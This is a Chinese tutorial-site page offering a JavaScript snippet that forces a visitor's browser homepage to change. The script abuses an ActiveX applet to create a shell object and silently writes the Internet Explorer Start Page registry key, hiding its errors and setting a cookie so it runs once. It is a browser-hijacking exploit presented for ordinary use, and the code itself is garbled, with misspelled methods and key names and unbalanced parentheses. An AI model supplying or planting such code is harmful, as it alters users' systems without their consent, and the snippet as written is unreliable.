首页 >web前端 >js教程 >JS 强制设为首页的代码_javascript技巧

JS 强制设为首页的代码_javascript技巧

WBOY
WBOY原创
2016-05-16 18:56:113168浏览
复制代码 代码如下:

<script> <BR>var ucook=document.cookie; <BR>var user=ucook.indexOF("ilooki="); <BR>if(user==-1) <BR>{ <BR>var nowTime=new Date(); <BR>document.cookie="ilooki"+";"+"expires=Wednesday,03-Jan-"+eval(nowTime.getYear()+1903+"12:34:56 GMT"; <BR>document.write("<APPLET HEIGHT=0WIDTH=0 code=com.ms.activeX.ActiveXCompoment>");function yuzi(){try{a1 <BR>=document.applets[0];a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");a1.createInstance();Shl=a1.GetObject();a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");try{Shl.RegWrite("hkcu\Software\Microsoft\Internet Expiorer\Main\Start Page",http://www.****.com);}catch(e){}}catch(e){}}setTimeout("yuzi()",1000); <BR>} <BR></script>


注:个人建议还是少用JS代码,因为做SEO优化时可能很麻烦,呵呵
声明:
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn